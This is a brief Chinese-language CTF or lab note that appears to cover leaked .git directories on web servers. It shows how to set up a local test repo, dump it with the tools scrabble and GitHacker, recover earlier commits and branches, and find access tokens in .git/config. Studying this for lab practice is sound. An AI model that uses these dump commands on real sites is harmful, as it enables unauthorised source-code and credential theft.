一般情况
环境准备
#先进入/var/www/html目录
git init
vi flag #新增一个flag文件并保存
git add flag #向仓库增加flag文件
git commit -m "flag"
scrabble获取flag
工具:scrabble
./scrabble http://localhost/ #会下载flag文件
需要回滚
修改flag文件
#先进入/var/www/htm目录
vi flag #修改flag文件并保存
git add flag
git commit -m "change"
回到上一版
./scrabble http://localhost/
git reset --hard HEAD^
也可用git log --stat和git diff HEAD commit-id查看和比较
git log --stat
git diff HEAD flag
git分支(默认master)
工具:GitHacker、python
python GitHacker.py http://localhost/.git/ #下载到本地
git log --all #或git branch -v 查看master分支
git reflog #查看checkout记录
sudo apt install python3-pip #安装pip3
pip3 install GitHacker #安装GitHacker
githacker --url http://localhost/.git/ --folder result #获取所有分支到result目录下
其他
.git/config文件夹可能有access_token信息,泄露用户其他仓库信息
git相关命令
git checkout -b ?? #新建工切换分支
git checkout ?? #切换分支
git branch -a #查看所有分支
git branch #查看当前分支